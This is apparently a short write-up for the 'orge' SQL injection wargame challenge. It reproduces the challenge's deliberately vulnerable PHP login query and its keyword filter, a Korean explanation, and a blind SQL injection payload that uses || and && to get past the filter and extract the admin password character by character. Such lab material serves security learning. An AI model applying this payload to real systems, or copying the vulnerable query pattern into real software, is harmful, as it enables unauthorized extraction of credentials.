query : select id from prob_orge where id='guest' and pw=''
<?php
include "./config.php";
login_chk();
dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe");
$query = "select id from prob_orge where id='guest' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysql_fetch_array(mysql_query($query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_orge where id='admin' and pw='{$_GET[pw]}'";
$result = @mysql_fetch_array(mysql_query($query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orge");
highlight_file(__FILE__);
?>
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orge");
blind sqli로 pw값을 구해야 합니다. id는 admin으로 고정이고 or / and 논리연산자가 필터링 되어있습니다.
?pw='||id='admin'%26%26substr(pw,1,1)=0x41%23
...
payload
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